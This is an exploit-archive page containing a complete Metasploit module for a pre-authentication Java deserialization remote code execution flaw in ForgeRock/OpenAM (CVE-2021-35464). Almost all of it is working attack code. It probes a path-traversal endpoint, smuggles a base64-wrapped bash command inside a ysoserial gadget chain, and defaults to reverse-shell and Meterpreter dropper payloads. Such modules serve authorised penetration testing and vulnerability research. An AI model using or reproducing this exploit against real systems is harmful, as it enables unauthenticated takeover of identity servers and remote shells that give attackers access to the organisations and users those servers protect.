ForgeRock / OpenAM Jato Java Deserialization

2021.07.14
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'ForgeRock / OpenAM Jato Java Deserialization', 'Description' => %q{ This module leverages a pre-authentication remote code execution vulnerability in the OpenAM identity and access management solution. The vulnerability arises from a Java deserialization flaw in OpenAM’s implementation of the Jato framework and can be triggered by a simple one-line GET or POST request to a vulnerable endpoint. Successful exploitation yields code execution on the target system as the service user. This vulnerability also affects the ForgeRock identity platform which is built on top of OpenAM and is thus is susceptible to the same issue. }, 'Author' => [ 'Michael Stepankin', # Original Discovery and PoC 'bwatters-r7', # Msf module 'Spencer McIntyre', # All of the Help 'jheysel-r7' # Check Method ], 'References' => [ ['CVE', '2021-35464'], ['URL', 'https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464'], ['URL', 'https://backstage.forgerock.com/knowledge/kb/article/a47894244'] ], 'DisclosureDate' => '2021-06-29', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python_ssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path', '/openam']) ]) end def check res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/oauth2/..;/ccversion/Version'), 'vars_post' => { 'jato.pageSession' => Base64.urlsafe_encode64(rand_text_alphanumeric(6..13)) } ) if res.nil? CheckCode::Unknown("The target server didn't respond!") elsif res.code == 302 && res.headers['Location']&.end_with?('/base/AMInvalidURL') CheckCode::Appears else CheckCode::Safe end end def execute_command(cmd, _opts = {}) cmd_encapsulated = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash" ysoserial_payload = Msf::Util::JavaDeserialization.ysoserial_payload('Click1', cmd_encapsulated, modified_type: 'none') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/oauth2/..;/ccversion/Version'), 'vars_post' => { 'jato.pageSession' => Base64.urlsafe_encode64("\x00" + ysoserial_payload) } ) unless res && res.code == 302 fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}") end print_good("Successfully executed command: #{cmd}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end


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